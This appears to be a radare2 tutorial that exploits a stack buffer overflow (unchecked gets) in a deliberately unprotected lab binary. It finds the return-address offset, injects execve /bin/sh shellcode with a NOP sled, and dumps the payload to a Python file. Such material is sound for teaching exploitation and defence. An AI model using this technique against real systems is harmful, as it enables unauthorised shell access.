Tutorial 4 - Simple Exploit

Let's try to exploit the simplest binary imaginable.

r2 -Ad ./hackme

First, let's check if any security mechanisms are used.

[0xf7704d00]> iI~canary,nx,pic
pic      false
canary   false
nx       false

We're in luck! Let's see what the binary does.

╒ (fcn) sym.main 36
│           ; arg int arg_4h @ esp+0x4
│           ; DATA XREF from 0x08048317 (entry0)
│           0x08048412      8d4c2404       lea ecx, [esp + arg_4h]     ; 0x4 ; 4
│           0x08048416      83e4f0         and esp, 0xfffffff0
│           0x08048419      ff71fc         push dword [ecx - 4]
│           0x0804841c      55             push ebp
│           0x0804841d      89e5           mov ebp, esp
│           0x0804841f      51             push ecx
│           0x08048420      83ec04         sub esp, 4
│           0x08048423      e8d3ffffff     call sym.play
│           0x08048428      b800000000     mov eax, 0
│           0x0804842d      83c404         add esp, 4
│           0x08048430      59             pop ecx
│           0x08048431      5d             pop ebp
│           0x08048432      8d61fc         lea esp, [ecx - 4]
╘           0x08048435      c3             ret

main seems to call play and nothing else. Let's see what the play function does.

[0x08048412]> pdf @ sym.play
╒ (fcn) sym.play 23
│           ; var int local_48h @ ebp-0x48
│           ; CALL XREF from 0x08048423 (sym.main)
│           0x080483fb      55             push ebp
│           0x080483fc      89e5           mov ebp, esp
│           0x080483fe      83ec48         sub esp, 0x48
│           0x08048401      83ec0c         sub esp, 0xc
│           0x08048404      8d45b8         lea eax, [ebp - local_48h]
│           0x08048407      50             push eax
│           0x08048408      e8c3feffff     call sym.imp.gets
│           0x0804840d      83c410         add esp, 0x10
│           0x08048410      c9             leave
╘           0x08048411      c3             ret

play calls gets, which is a very unsafe function.

Let's add a breakpoint right after gets returns, at 0x0804840d, and then continue the execution.

[0x08048412]> db 0x0804840d
[0x08048412]> db
0x0804840d - 0x0804840e 1 --x sw break enabled cmd="" name="0x0804840d" module=""
[0x08048412]> dc
hit breakpoint at: 804840d
attach 3680 1

We've given the program some bogus input, but we can change that. We can see that both eax and the stack contain our buffer.

[0x0804840d]> drr~eax
oeax 0xffffffff  oeax
eax 0xffe38b90  eax stack R W X 'xor dword [edx], esi' '[stack]' (1234)
edx 0xf76e2884  (unk1) edx R W X 'add byte [eax], al' 'unk1'
[0x0804840d]> pxr @ esp!4
0xffe38b80  0xffe38b90  .... eax stack R W X 'xor dword [edx], esi' '[stack]' (1234)

We can overwrite eax with a De Bruijn pattern to simulate as if that was fed into stdin.

[0x0804840d]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr]  Write a De Bruijn Pattern of length 'len' at address 'addr'
| wopO value         Finds the given value into a De Bruijn Pattern at current offset
[0x0804840d]> wopD 100 @ eax
[0x0804840d]> ps @ eax

Now we can continue execution and hope for the best.

[0x0804840d]> dc
hit breakpoint at: 8048410
[+] SIGNAL 11 errno=0 addr=0x41614141 code=1 ret=0
[+] signal 11 aka SIGSEGV received 0

Ah, yes, the program crashed because the return address on the stack has been overwritten. But at what offset relative to the start of the input buffer?

[0x41614141]> wopO $$

Note: $$ signifies the current seek; quite handy in plenty of cases.

77 is a suspicious offset. That's because endianess needs to be taken into account.

[0x41614141]> wopO 0x41416141

Now we can begin to think about an input which would spawn a shell for us. We are going to need a shellcode. We can write our own in assembly or a tiny file which we can pass to ragg2, but radare2 already comes packed with a 32 bit shellcode that we can use.

[0x41614141]> g?
|Usage: g[wcilper] [arg]Go compile shellcodes
| g foo.r         Compile r_egg source file
| gw              Compile and write
| gc cmd=/bin/ls  Set config option for shellcodes and encoders
| gc              List all config options
| gl              List plugins (shellcodes, encoders)
| gs name args    Compile syscall name(args)
| gi exec         Compile shellcode. like ragg2 -i
| gp padding      Define padding for command
| ge xor          Specify an encoder
| gr              Reset r_egg
| EVAL VARS:      asm.arch, asm.bits, asm.os
[0x41614141]> gi exec
[0x41614141]> g
[0x41614141]> wx `g` @ eax
[0x41614141]> pd 11 @ eax
            ;-- eax:
            0xffce54c0      31c0           xor eax, eax
            0xffce54c2      50             push eax
            0xffce54c3      682f2f7368     push 0x68732f2f
            0xffce54c8      682f62696e     push 0x6e69622f
            0xffce54cd      89e3           mov ebx, esp
            0xffce54cf      50             push eax
            0xffce54d0      53             push ebx
            0xffce54d1      89e1           mov ecx, esp
            0xffce54d3      99             cdq
            0xffce54d4      b00b           mov al, 0xb                 ; 11
            0xffce54d6      cd80           int 0x80

Excellent! Our shellcode is now in eax. All that's left is to set the overwritten return address to point to the stack. Rerun the program and stop at the ret instruction, write the shellcode at eax and write the stack address at offset 76.

[0x0804840d]> wx `g` @ eax
[0x0804840d]> wx 40caacff @ eax+76
[0x0804840d]> pxr @ esp!4
0xffacca8c  0xffacca40  @... eax stack R W X 'xor eax, eax' '[stack]'

We can now see that the first value on the stack (the return address) points to our shellcode.

Of course, generating a static payload will not work, since stack addresses are randomized. Since we don't have enough space in our buffer before it reaches and overwrites the return address, we could simply continue to read into our buffer and create a giant nop sled to our shellcode.

Let's write our payload, step by step.

We'll begin by writing 76 'A's until reaching the return address. Then we'll write a stack address. After that, we change the block size to a large value, like 0x1000 and write one full block of NOPs, and finally we write our shellcode.

[0x0804840d]> wb 41 @ eax!76
[0x0804840d]> wx 900ea0ff @ eax+76
[0x0804840d]> b 0x1000
[0x0804840d]> wb 90 @ eax+80
[0x0804840d]> wx `g` @ eax+80+0x1000

Now we can dump this payload in python format into a file.

[0x0804840d]> pcp 80+0x1000+24 @ eax > gen.py

Edit the file accordingly, appending:

with open('payload', 'wb') as f:

Then we can generate our payload and feed it to our binary. If you don't succeed after several attempts, try increasing the NOP block size.

Have fun!

results matching ""

    No results matching ""